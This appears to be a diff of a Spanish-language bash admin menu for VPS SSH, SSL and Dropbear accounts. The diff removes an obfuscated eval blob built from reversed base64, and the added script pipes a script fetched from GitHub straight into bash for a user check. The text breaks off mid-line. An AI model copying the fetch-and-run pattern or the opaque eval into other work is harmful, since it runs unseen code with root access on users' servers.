LgQXYjBiJmACd4RnLzRncvBHbzN3LlRXas1SbkF2LjRXZvAiPgcCInAyJux1JgIHdgwHI0hHduw2cz9CctR3LgQXYjBCfg8GajVGImYCI0hHduw2cz9CctR3Lg4DIn0HI7kSOsQDJoIHdzJWdzBCdulmcwt3Jgs2dhBCfgoDMuAjLw4CMgAXZydGI8BCbl5mb1R3cgAXZydGI8BiI9RVQDRXZu91ekICIl1CIvh2YlBWPzRncvBHbzNnCiMXa4FGdul2UgEGbgE2c1BCTTNFIvNXdgEmchBVb5MzOxs1MzADXiASZtAyboNWZjoQZzxWZKUmbvRmCi03czFGc7RiIgISfl1WYutHJiAiI9RlUPB1ekICIiMFTU9CTTNlIgQ3YlZmZlpAM4ACTx1CI2BHI8BiIRC44gACIzNXYwRSfdRzWy92Y7RiO91lMbJ3bjtHJl1WYuRSfdRzWy92Y7RCQ91lMbJ3bjtHJUJ1TQRSfdVzWy92Y7RiO91lMbJ3bjtHJQlEJg0XX0slcvN2ek4DIKi5nwDCTTNFIgACkAOuIgUWLg8GajV2IK8GZgsTfwhGbzN3ekAibpBCVS9EUgI3bmpQKxYWLgwCIk1CI0V3YgwHInc2Ls8yKcNHXvM3JgQWZzBCfgACd4RnLox2cz9SZ0lGbt0GZh9yY0V2LgQXYjhCJ9QlUPB1IKsDY0hHdugGbzN3LlRXas1SbkF2LjRXZvACdhNGImYCI0hHdugGbzN3LlRXas1SbkF2LjRXZvAiPgcCInAyJux1JgIHdgwHI0hHdugGbzN3Lw1GdvACdhNGI8ByboNWZgYiJgQHe05CasN3cvAXb09CI+AyJ9ByOpkDL0QCKyR3ciV3cgQnbpJHc7dCIrdXYgwHI6AjLw4CMuADIwVmcnBCfox2czBCclJ3ZgwHIi0HVBNEdl52X7RiIgUWLg8GajVGY9AHasN3cK4WZoRHI7wGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIox2czBCclJ3Z8BiI9RVQDRXZu91ekICIl1CIvh2YlBiZppwegYiJg0VXgkSMtACZhVGa8xWZu5Wd0NHIwVmcnx3chRncvBXboQCIbtlCjMyIjMyIK0nCn8ERBxUQUNlTJByTOBiUBVkQQ9kUEdCItJXZ21CInNXbKADOgwUctAidwBCfgIichVmYw9mcEBSZ0NXa4VGIv5UbxQzOxs1MzADXiASYyJWLgc2ctBiJmICIpIiIgITbyVmdtAyZz1GKkASKiICIkJXZ21CInNXboQiIgUmbtAyboNWZjowegwHfg0nCpZmCl52bkpgI9N3chB3ekICIi0XZtFmb7RiIgISfUJ1TQtHJiAiISFURCB1TSRkIgQ3YlZmZlpAM4ACTx1CI2BHI8BiIRC44gACIzNXYwRSfdRzWy92Y7RiO91lMbJ3bjtHJl1WYuRSfdRzWy92Y7RCQ91lMbJ3bjtHJUJ1TQRSfdVzWy92Y7RiO91lMbJ3bjtHJQlEJg0XX0slcvN2ek4DIyFWZiB3byREIQC44iASZtAyboNWZjowbkByO9NHdy9GcyFWZiB3byR2ekAibpBCVS9EUgI3bmpQKxYWLgwCIk1CI0V3YgwHInc2Ls8yKcNHXvM3JgQWZzBCfgACd4RnLzRncvBnchVmYw9mck9SZ0lGbt0GZh9yY0V2LgQXYjhCJ9QlUPB1IKsDY0hHduMHdy9GcyFWZiB3byR2LlRXas1SbkF2LjRXZvACdhNGImYCI0hHduMHdy9GcyFWZiB3byR2LlRXas1SbkF2LjRXZvAiPgcCInAyJux1JgIHdgwHI0hHduIXYlJGcvJHZvAXb09CI0F2YgwHIvh2YlBiJmACd4RnLyFWZiB3byR2Lw1GdvAiPgcSfgsTK5wCNkgic0NnY1NHI05WayB3enAya3FGI8BiOw4CMuAjLwACclJ3ZgwHIyFWZiB3byRGIwVmcnBCfgISfUF0Q0VmbftHJiASZtAyboNWZg1zc0J3bwJXYlJGcvJHZKIycphXY05WaTBSYsBSYzVHIyFWZiB3byREIvNXdgEmchBVb5MzOxs1MzADXiASZtAyboNWZjoQZzxWZKUmbvRmCi03czFGc7RiIgISfl1WYutHJiAiI9RlUPB1ekICIiIVQFJEUPJFRiACdjVmZmVmCwgDIMFXLgYHcgwHIiEJgjDCIgM3chBHJ91FNbJ3bjtHJ60XXyslcvN2ekUWbh5GJ91FNbJ3bjtHJA1XXyslcvN2ekQlUPBFJ91VNbJ3bjtHJ60XXyslcvN2ekAVSkASfdRzWy92Y7RCI+AiUBVkQQ9kUEBCkAOuIgUWLg8GajV2IK8GZgsTfwhGbzN3ekAibpBCVS9EUgI3bmpQKxYWLgwCIk1CI0V3YgwHInc2Ls8yKcNHXvM3JgQWZzBCfgACd4RnLox2cz9SZ0lGbt0GZh9yY0V2LgQXYjhCJ9QlUPB1IKsDY0hHdugGbzN3LlRXas1SbkF2LjRXZvACdhNGImYCI0hHdugGbzN3LlRXas1SbkF2LjRXZvAiPgcCInAyJux1JgIHdgwHI0hHdugGbzN3Lw1GdvACdhNGI8ByboNWZgYiJgQHe05CasN3cvAXb09CI+AyJ9ByOpkDL0QCKyR3ciV3cgQnbpJHc7dCIrdXYgwHI6AjLw4CMuADIwVmcnBCfox2czBCclJ3ZgwHIi0HVBNEdl52X7RiIgUWLg8GajVGY9AHasN3cK4WZoRHI7wGb152L2VGZvAiPyACbsVnbvYXZk9CI+EDIox2czBCclJ3Z8BiI9RVQDRXZu91ekICIl1CIvh2YlBiZppwegYiJg0VXgkSMtACZhVGa8JXYlJGcvJHZgAXZydGfzFGdy9GcthCJgs1WKUTMgwUctAidwBCfjACIiMGdlxidlJFIOB1Ss00TUNVVDxicvR3YllnbJBCUURFSg8WbvNGITBFUBBibF1WM0sTMbNzMwwlIgEmci1CInNXbgYiJiASKiICIy0mclZXLgc2cthCJgkiIiACZyVmdtAyZz1GKkICIl5WLg8GajVmCikCcs5Wd01CI0FGdzRXZuhCJi0DVBNEdl52XgwWYj9GbKICItlzM7EzWzMDMcJCIl1CIvh2YlNiC7BSKoAyampgC9pgI0xWdzVmckICIl1CIvh2YlpQKiEJgjDCIg0HN7RiO9NzekAUfysHJ60HUJtHJgk6nin6nin6niDSf0hHd7RCIQC44iACd4VGdulmcwhCJ9QHb1NXZypgIxQiI9QHe0BCbhN2bspAd4RHI21CI0V2cuVnC7lCK0NWZmZWZKoQKl1mLnlmZu92YmlGIt8UctACdld2doQSPQlkC9pQeltmLt0yLpQ2dwhCJgQXYjNiCrNWZoNWLtAiIpg2cusUa0xWdt91LzVGZvNmclNXdvM3bzJXdjVmUv4Wah12LoNmbhJnYvcXYy9SMrRGdwlmcjN3LxADZpt2dvJHZv02bj5SYlRXan9yL6MHc0RHagw0UzZWLgwmc1NGKkICIj1CIoNXYipwegkCKgs0QFh0QzV3XKogC9pgIzFGdy9GckICIl1CIvh2YlpQM9kmCiIXY291chRncvBHJiACP8wDIl52bkpgIuxlMyFmdkASMyFmdkISPrMXY0J3bwBCf8BSXdBiIpIiMyFmdkASMyFmdkICIwVmcnx3chRncvBHJgUWLg8GajVGKkICIbtlCpcSfyQCI05WayB3enAiI6ICIG1CIrdXYgwHIn0XOkACdulmcwt3Jgs2dhBCfgQncvBHJg8GajVGKk0jMyFmdgYiJgkyJ9FDJgQnbpJHc7dCIrdXYgwHI0J3bwRCIvh2YlhCJ9EjchZnCvRGI7QncvBHIkFWZyBSZslGa3pQKi4URUNVSMJCIwVmcnBCfgICROFUTN90QiAidtACclJ3Z8BiIEVESTlETCFEVTVkIgYXLgAXZydGI8BibtACUtACcjRHIp1CIW1CIm92cshCJ9IXY291chRncvBnCzFGdy9GcgQXZz5WdKsHIpgCIzFGdy9GctpgCKIXYi1CInNXbKISbws1MzADXp02MzsDMbNzMwwVfmZ2bftHJg0mNzsTMbNzMwwVbxMzOxs1MzADX2AiTPl0QQ9UL3ASVOVUTg4WZgEmdpR3YB1mNzsTMbNzMwwFKtNzM7AzWzMDMcJCIl1CIvh2YlBCf8BiIgkSbzMzOws1MzADX952bftHJg4USVd0TMlEVMVVTgwETJtUb2MzOxs1MzADXg0WMzsTMbNzMwwFKtNzM7AzWzMDMcJCIl1CIvh2YlBiJmASXdBSZjlmdyV2cu0GZhxGbpt2LtVGdzl3cvQWblR3c5N3LjRXZvASZtAyWbpgIgkSbzMzOws1MzADXmZ2bfRiOgI1TEFEVO90QtJzM7AzWzMDMchSbzMzOws1MzADXiASZu1CIvh2YlBCf8BiIgkSbzMzOws1MzADXu92XkoDIS9ERBRlTPNUbyMzOws1MzADXo02MzsDMbNzMwwFIiASZu1CIvh2YlBiJmASXdBycvxWdk9WbvUGdpxWLtRWYvMGdl9CIl1CIbtlCrNWYipgIpEEVFJ0Io02MzsDMbNzMwwFIOFkSPJFVgMVQU5URVNEIFREIV5URNBSfdNzWy92Y7RSfoNWZsZ2ekASbzMzOws1MzADXd1WNzsDMbNzMwwVNx02MzsDMbNzMww1Wg0WNzsDMbNzMwwlIgUWLg8GajV2IKICIpACJggCIOlUVH9ETJRFTV1EIFREITd0TMBiUFZFI911MbJ3bjtHJ9h2YlxmZ7RCItNzM7AzWzMDMc1Vb1MzOws1MzADX0ETbzMzOws1MzADXbBSb1MzOws1MzADXiASZtAyboNWZgYiJg0VXgU2YpZnclNnLtRWYsxWar9SblR3c5N3Lk1WZ0NXez9yY0V2LgUWLgs1WKIycrNnchZHJgASROlETO9EISV0UVt0QFh0QiAiIgQnYkACIIN1Ugw0TSRlTPNkIgISY0VmY7kVQSJjVgMVQU5URVNEIFREIaOsTF1EIpZWLiAiIsFWajlmZvtzUT9iUTNFITFEVOVUVDBimD7URNBSam1iIgICbhl2YpZ2b7M1TJJVQVNVVgAVVLNUQCBSam1iIgISXtBzM7EzWlxFb1RyItlTMysTN7gzMbVGXb1GMzsTMbVGXgM1TJJVQVNVVgIVQFVVUPxkQTVERvIVQFVVUPxkQiAiIpACbhl2YpZWa0JXQggCIP1UVT50TDBSREByRPxkIgIichVmYw9mck9CazN3OSVkTOFkQgIVQUlERFBSam1iIgICIT9ERBR1QF50TDByUPlkUBV1UVBiUBJFVT9UTiAiIT9ERBJFVTl0RFJFIT9USSFUVTVFISFkUUN1TNJiCcBiIT9ERBJFVTl0RFJFIT9USSFUVTVFISFEVJRURiAiIz9yTJJVQVNVVgM1TMByUPR0TU9SMgIVQSJ1TCJCIi05kfCPIuV2avR3LsFWby9mbvQWa3h2OPlkUBV1UVBiUBdURSdUQgkmZtICIj5Wdm9VduVWbKIXYi1CInNXbKICI9RWZzV3X1B3Y7RCItJzM7EzWzMDMcpTVQNEIFREIPNVVggrliDSb0MzOxs1MzADXgASflVmcm9Vbl12ek0mMzsTMbNzMwwFI6UkUClETg0EI4ap4g0GNzsTMbNzMwwFIgICIl1CIvh2YlpgchJWLgc2ctpwJbSp4BSp4XSp44Wp4BSp4XSp4bSp47Sp46Wp4bSp4BSp4XSp44Wp4BSp4XSp44Wp4XSp45Wp44Wp4BSp4XSp4bSp4BSp4XSp4bSp4BSp4XSp4KMJliHIlifJliDCuVK+oUK+gUK+gUKOIDSp4gMIliDCIDSp4bSp4zSp4jSp4ggbliPKliPJliHIlifJliPIliDygUKuCTSp4BSp4PSp44Wp4BSp4PSp4TSp4zSp46Wp4TSp4BSp4PSp44Wp4BSp4PSp4TSp4BSp4PSp44Wp4BSp4PSp4TSp4BSp4PSp47Wp4gsblifCI8wDPgQXYjpgchVGbjZiJyFWZsNmCKISXGZ0Tb1WMzsTMbVGXi0zcrNnchZHI8xHIiASXO90WtJzM7EzWlxlI9M3azJXY2BiJmASXdBSKgIiclNXdrNWZoNmIgAXZydGI8BSfzB3X7RCIl1CIvh2YlhCJgs1WKICId50Tb1mMzsTMbNzMwwlI9QnYgwHfgISXGZ0Tb1WMzsTMbVGXi0DdiBiJmASXdBSKiQ3biVGdh1Wa0xWdiACclJ3ZgwHI9NHcftHJgUWLg8GajVGKkASIgs1WKIyaj9GbuVXbyMzOxs1MzADXi0Db1BiJmASXdBCb1RCI61CIbtlCpZmCis2Yvxmb11mMzsTMbNzMwwlI9wWdJoQZzxWZKISKtNzM7EzWzMDMcBCRFt0QPxUbyMzOxs1MzADXgs2YvxmclNXdfRSbxMzOxs1MzADXggSbzMzOxs1MzADXi0Db1lgCuVGa0ByOdBCMg4DIis2YvxmclNXdfRiIgsFImlmCKUiIpcSf0QCIrAiMkACdulmcwt3Jgs2dhBCfgcSKzhSdwN0JgAXZydGI8BSMu1CIi1CIw9GdoQiI9QWZzV3X1B3YKkyJ9RDJgYGdulmcwtnM90jUOdCIrdXYgwHIo1CIhdWZt1SLgUWZyZGKk0TZlJnZf1WZtpwboxWYjVmYhN2LlRXas1SbkF2LjRXZvASZjJXdvNnCSlERyV2c19SZ0lGbt0GZh9yY0V2LgIXaktWbgYiJg0VXgIVSEJXZzV3LlRXas1SbkF2LjRXZvACZtASIgs1WKkCbsl2azV3LyFGd1NWZqV2LulmYvACdhNGKk0zarNXdK4WavBXblRHIvBXblRHI0hXZg0Wb0BCdlNnb1pgIpgHIzBHKkISPzB3XKkyJ9FDJgQnbpJHc7dCInozJgYULgs2dhx3Jn9Gbzl3cnAidtACclJ3Z8dSZzxWYmdCIwVmcnx3Jl12bodCIwVmcnxHZ3N3chB3LjRXZvACdhNGKk0zcyV2c1pQMm4jMgwGb152L2VGZvAiPmASWFt0alh2YKcSMn0DUPRVbpx2XgwHfgISKYlkRtlGbvIXY0V3YlpWZv4Wai9CI8ACdhNGKkISPQ9EVtlGbfBiJmASXdBCWJZUbpx2LyFGd1NWZqV2LulmYvASZtAyWbpQM982YjpwZz1GIlNmc192cKg2chJ2LulmYvEyI | r";OrKWlAdlAigoljYBgueZMOuDPVmkOgYFVOUbnDlxVCfhElLLhJXFiTCEypYICeBaIBUwpCqNYypfLNCjUrTxYqCgMHGCoSNigAqc="QFYBgmuGzkFBoFVRkRmkCFMWxLBjLjpoQBPdXOpzwyAZpBVbsqPUzQzQYFoPANpDGOKEkZLShRYGawvMydANSfvEraDMeVSgBjUw";oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj="";RThWZBIQyyuUAJgXnULROTFLWSsSHfjQQIJabZKhtsMAxgmsnvPJiOnDxVQfCkaCSQJHYILPIvsugZWXsxzmXreoIEPBnejayZUz="as";IPYwpWYolnKxmdLEeQkoJmUrcwPSJCGuHUrLNfNwFZGkQlsTtcVtIuAeAviJSryfVbwMoGjiSwyQIsDhzvvKZRppIxNZQKHyLQDz="GoZPwrAJzXJWopNmZlDJpMGGdiBaKjGjJlMviPneCKvppiZzoGAXEJInipvRLvneYuLKbXSMeefFoqEOLLWbUTTpGzYWrylfDEer";KSBPtSiostnfVtBXEFLnmYLWHMGzbpsQwTDidYXwCyxNsBfORNLXDyWBKGWsZozCZTtqWimLexPfVUSODEpRsxJqTIurHwOqHCqH="zlpHIsLMmSFxgBYNuTHwylzQdkDUJrmtGJLjsUsnHgvxWJPdCUUiMPFVKZxDeWfHKiqZtmmbPgekhUyckNYBZqXsDPifGrxwUBAk";ayIQRySpiEVixdEAuKbljJOKgXTBsocjNrbdKyKteMDJBPTnTkSxZJLPICQcAqbspMlJhvkIBjbSspxxCUMkMNSzglccLzeTrtwr="o";efbcULFTZfobokciCICunhAqzhxsQxFEENUknRldSVPxvlXaawSdkbjlLNoNzorKOXwUdJeAgWFkJArKlVSSkMfGogytFnhJtEIb="6";iOumIOyWIXahCszcXkqWxsNuOVBInEugXzSgjgTZdpMmIlXrsLUffNwIlBNfZEwCrJctjOIMMMkFiDJybFgEdJywSykMxhtBuwQI="iAcwEldHOUMBZqJrxztdXueXvjSVbuHgOczjjPjaKdtgEEdhECkhegqrakfeXaZguNXzWnTRhYXZeBpnIaOrIFZthItsZPzxzfAu";pvEdwbWWaDopJoSiJtSPiGAExaiDJLgvPtKtFNxBmUXewmCoPJMOvFcqicxPeFmLjnRewKjwXCgLLjhUrreaztEmEAryCYFrefGO=" -d";DDTJurBDlhfpFPVEYOlzJwzRMBdAvyMjOhmGFxVCvJCvQcuBTDGgpChsBOYRTrvigIeUfHoxvfoRjgEdYLuonjLsVGhMNKLUZVns="xRCoErFasfhPmPKaabczQwHufaQZuHSQjEFhrkqetoIUWBSYNTrjbVlyUdQOgLTpMKvKNJdKvNzPNCKYBVTuBWCmSkppPULKfugf";brLhcleMsqmnqjnSKsMeTQYaBaGOpzTzKYDsRGBlSVzYBfDLZgOGvpcITrLLLGkTKqMotxdLFayZJMMMHQfAVGnJDzbJMgUIVoSM="";AcMjltbctwGmEJDcIofPpWhQfsuXbGNZqYOiZkElErkrOZotuzSYiehBvCbxsJHYnotmkUFluEfNPmbZfkrkHoRVaidoOCwNkDMy="b";pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy="e";dPnfOAqjltwWAdjuDZLcWhyEqCUHvBegkucWCIzRkxTnFbyQQDckdRFtOcPTirkPZLTgDhwLgshQiFgbowDooejivbnQHmVtUjhn="v |";Tx=Eds;AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU="";ynWgrDbFRTWAuDjHSeLpdogLcriCeenJBLNqFGIPKPVkNLjUPQJebWgYCFUJkseLrUONQSCrzmlhrCvKjcVZfRpaacynxcbIDWfa=$(eval "$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$bHFvuHCqeeXSOXCSgDJtUunnaNqiWwpAwKslZKpuMdUjRZVRSvHdabYcuXsoEGmgUIowCTVdPNGVFSVLdNHpaXwLAkXmeyzmrmGp$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob$ayIQRySpiEVixdEAuKbljJOKgXTBsocjNrbdKyKteMDJBPTnTkSxZJLPICQcAqbspMlJhvkIBjbSspxxCUMkMNSzglccLzeTrtwr$dCkJEhHwHFyeLXcLdxUxOhexLkYBYskubfhZeVufErFGgBwcdIXuAZVFROmUwycgYPejWnsikaIIutYmSTVqPOlYZsxzSKvCpVDU$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$dPnfOAqjltwWAdjuDZLcWhyEqCUHvBegkucWCIzRkxTnFbyQQDckdRFtOcPTirkPZLTgDhwLgshQiFgbowDooejivbnQHmVtUjhn$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$AcMjltbctwGmEJDcIofPpWhQfsuXbGNZqYOiZkElErkrOZotuzSYiehBvCbxsJHYnotmkUFluEfNPmbZfkrkHoRVaidoOCwNkDMy$AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU$RThWZBIQyyuUAJgXnULROTFLWSsSHfjQQIJabZKhtsMAxgmsnvPJiOnDxVQfCkaCSQJHYILPIvsugZWXsxzmXreoIEPBnejayZUz$pcENHapCStaCHjeExsLjSjaqWMykIZdjvemCAvcplBbteZCXSASlFsdzHjKAKhQWHyVRAfTLtKdVFivNKhRVdzMYmBuDmItAuMvy$efbcULFTZfobokciCICunhAqzhxsQxFEENUknRldSVPxvlXaawSdkbjlLNoNzorKOXwUdJeAgWFkJArKlVSSkMfGogytFnhJtEIb$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob$AlIusuJEkafTWuwIGuLzDLeOcEmnGhAEBGpubosRKLzDZhvWjRkIDBAMaOlZfSlAxgPyUKBEapcaNeFgbRmIhhoBPzvnKjNLUzmV$pvEdwbWWaDopJoSiJtSPiGAExaiDJLgvPtKtFNxBmUXewmCoPJMOvFcqicxPeFmLjnRewKjwXCgLLjhUrreaztEmEAryCYFrefGO$AeHkOOmeFmZsoMAMGYDTBEBhRuLzlmRjLxHwsreIKdZRNrbxAKHFAaCwuFeLGSCRiWuiBPVQolLXonbaswNVrZNhDjmQprIoiHlU");eval "$brLhcleMsqmnqjnSKsMeTQYaBaGOpzTzKYDsRGBlSVzYBfDLZgOGvpcITrLLLGkTKqMotxdLFayZJMMMHQfAVGnJDzbJMgUIVoSM$ynWgrDbFRTWAuDjHSeLpdogLcriCeenJBLNqFGIPKPVkNLjUPQJebWgYCFUJkseLrUONQSCrzmlhrCvKjcVZfRpaacynxcbIDWfa$oirVpQdRnDVMgwGKbDIZCVTDFFExMrQXgWmhJnzuAnRXfHWEqEJRjWCryekROeoLHBoxLwgZKDCGBIshqxvIKXTcZlhtrkcfvZbj$XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob" \ No newline at end of file +#user=$(echo ${saks:0:5}) + +# NUNCA DEJES DE APRENDER +# POWER BY @CHUMOGH + +cco=1 +[[ -e /bin/ejecutar/limFIX ]] && _limTOP="$(cat < /bin/ejecutar/limFIX)" || _limTOP='1' +chekKEY &> /dev/null 2>&1 +users=$(cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|awk -F ':' '{print $1}') +_ps="$(ps x)" +unset tmm ext tempo tempoin +uskk=$(cat /bin/ejecutar/uskill) +[[ ! -d /etc/scpdk1/userDIR ]] && mkdir /etc/scpdk1/userDIR +source /etc/scpdk1/cabecalho +mem_free=$(free --mega -h | awk 'NR==2{printf $4}') +cpu_used="$(top -b -n1 | grep 'Cpu(s)' | awk '{print $2 + $4}')"% +if [ "$_userlock" > 0 ]; then +ul="\033[1;33m( \033[1;31m$_userlock \033[1;32mLOCKED \033[1;33m)" +else +ul="\033[1;33m( \033[1;32mALL UNLOCK \033[1;33m)" +fi +[[ -z $(echo -e ${_ps} | grep "ultimatebot" | grep -v "grep") ]] && bt="\033[1;31mOFF\033[0m" || bt="\033[1;32mON\033[0m" +var_sks1=$(echo -e ${_ps} | grep "checkuser" | grep -v grep >/dev/null && echo -e "\033[1;32mON\033[0m" || echo -e "\033[1;31mOFF\033[0m") +echo -e "${cor[2]} 🙎‍ ${cor[5]}CUENTAS SSH / SSL / DROPBEAR By @ChumoGH 🙎‍" +msg -bar +echo -e " \033[1;34m ▸ M LIBRE: \033[1;32m${mem_free} \033[1;34m ▸ USO DE CPU:\033[1;32m ${cpu_used} " +msg -bar +echo -e "\033[0;35m [\033[0;36m01\033[0;35m]\033[0;31m >${cor[3]} AGREGAR USUARIO\033[0;31m(\033[0;33mHWID\033[0;31m/\033[0;33mNORMAL\033[0;31m/\033[0;33mTOKEN\033[0;31m) 📝" # ${cor[2]} [-] >${cor[3]} - " +echo -e "\033[0;35m [\033[0;36m02\033[0;35m]\033[0;31m >${cor[3]} BORRAR 1/TODOS LOS USUARIO/s" +echo -e "\033[0;35m [\033[0;36m03\033[0;35m]\033[0;31m >${cor[3]} EDITAR USUARIOS REGISTRADOS" +echo -e "\033[0;35m [\033[0;36m04\033[0;35m]\033[0;31m >${cor[3]} MOSTRAR USUARIOS REGISTRADOS" +echo -e "\033[0;35m [\033[0;36m05\033[0;35m]\033[0;31m >${cor[3]} MOSTRAR USUARIOS CONECTADOS " +echo -e "\033[0;35m [\033[0;36m06\033[0;35m]\033[0;31m >${cor[3]} EDITAR BANNER ( SSH/Dropbear )" +echo -e "\033[0;35m [\033[0;36m07\033[0;35m]\033[0;31m >${cor[3]} LOG DE CONSUMO ( Artificial )" +echo -e "\033[0;35m [\033[0;36m08\033[0;35m]\033[0;31m >${cor[3]} BLOQUEAR / DESBLOQUEAR USUARIOS $ul" +echo -e "\033[0;35m [\033[0;36m09\033[0;35m]\033[0;31m >${cor[3]} BACKUP USUARIOS \033[0;32m(#OFFICIAL)" +echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;31m >${cor[3]} MENU CUENTAS SSR/SS \033[0;32m(#OFFICIAL)" +echo -e "\033[0;35m [\033[0;36m11\033[0;35m]\033[0;31m >${cor[3]} MENU DE CUENTAS V2RAY \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m12\033[0;35m]\033[0;31m >${cor[3]} CONTROL SSH ( BotTelegram $bt ) " +echo -e "\033[0;35m [\033[0;36m13\033[0;35m]\033[0;31m >${cor[3]} CHECKUSER ONLINE ( $var_sks1 ) " +[[ -e /etc/systemd/system/killadm.service ]] && echo -e "\033[0;35m [\033[0;36m14\033[0;35m]\033[0;31m >${cor[3]} VER LOGS DE MULTILOGUIN ( $ ) " +#echo -e "\033[0;35m [\033[0;36m15\033[0;35m]\033[0;31m >${cor[3]} MENU DE CUENTAS TROJAN \033[0;33m(#BETA)" +msg -bar + +[[ -e /etc/scpdk1/modulos ]] && echo -ne " \033[0;33m(\033[0;32mCONTADOR :$_on\033[0;33m) " || echo -ne "\033[0;33m(\033[0;32mCONTADOR :$_off\033[0;33m) " +[[ -e /etc/systemd/system/killadm.service ]] && echo -e "\033[0;33m(\033[1;31m \033[1;36mKILL MULTILOGUIN ${_on}\033[0;33m) " || echo -e "\033[0;33m(\033[1;36mActiva en MENU 7-OPCION 6\033[1;31m\033[1;36m ${_off}\033[0;33m)\033[0m" +msg -bar + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + + +_usCHECK () { +bash -c "$(curl -fsSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/_multiK.sh)" --check +#cat $(pwd)/--.key +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;31m NUMERO DE OPCION : " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + + +fk () { +#echo -e "\033[1;39m " +local _netCAT="$(netstat -tunlp)" +echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mEn APPS como HTTP Inyector,CUSTOM,KPN Rev,etc" #| pv -qL 15 +[[ $(mportas|grep dropbear|head -1) ]] && { +if echo -e "${_netCAT}" |grep sslh 1> /dev/null 2> /dev/null; then +sslhp=`echo -e "${_netCAT}" | grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`; +#PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1) +for PORT in ${sslhp}; do +echo -e "【 DROPBEAR >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80 +done +else +#echo -e "\033[1;39mPara uso Dropbear usa la Sintaxis" +dropbearports=`echo -e "${_netCAT}" | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/scpdk1/dropbearports.txt && cat /etc/scpdk1/dropbearports.txt`; +#PORT=$(cat /etc/scpdk1/dropbearports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +for PORT in ${dropbearports}; do +echo -e "【 Dropbear >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80 +done +fi +} || { +echo -ne "$(msg -verd "") $(msg -verm2 "") "&& msg -bra "\033[1;41mNo existe Dropbear" | pv -qL 80 +} +###### +[[ $(mportas|grep stunnel|head -1) ]] && { +if echo -e "${_netCAT}" |grep sslh 1> /dev/null 2> /dev/null; then +sslhp=`echo -e "${_netCAT}" | grep sslh| grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/sslh.txt && echo | cat /tmp/sslh.txt | tr '\n' ' ' > /etc/scpdk1/sslh.txt && cat /etc/scpdk1/sslh.txt`; +#PORT=$(cat /etc/scpdk1/sslh.txt | sed 's/\s\+/,/g' | cut -d , -f1) +for PORT in ${sslhp}; do +echo -e "【 SSL 😊 >${cor[4]} $IP${cor[2]}:${cor[5]}$PORT${cor[2]}@${cor[4]}$name${cor[2]}:${cor[4]}$pass 】" | pv -qL 80 +done +else +#echo -e "\033[1;39mPara uso SSL usa la Sintaxis" +sslports=`echo -e "${_netCAT}" | grep stunnel | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/scpdk1/sslports.txt && cat /etc/scpdk1/sslports.txt`; +#PORT=$(cat /etc/scpdk1/sslports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +for PORT in ${sslports}; do +echo -e "【 SSL 😊 >${cor[4]} 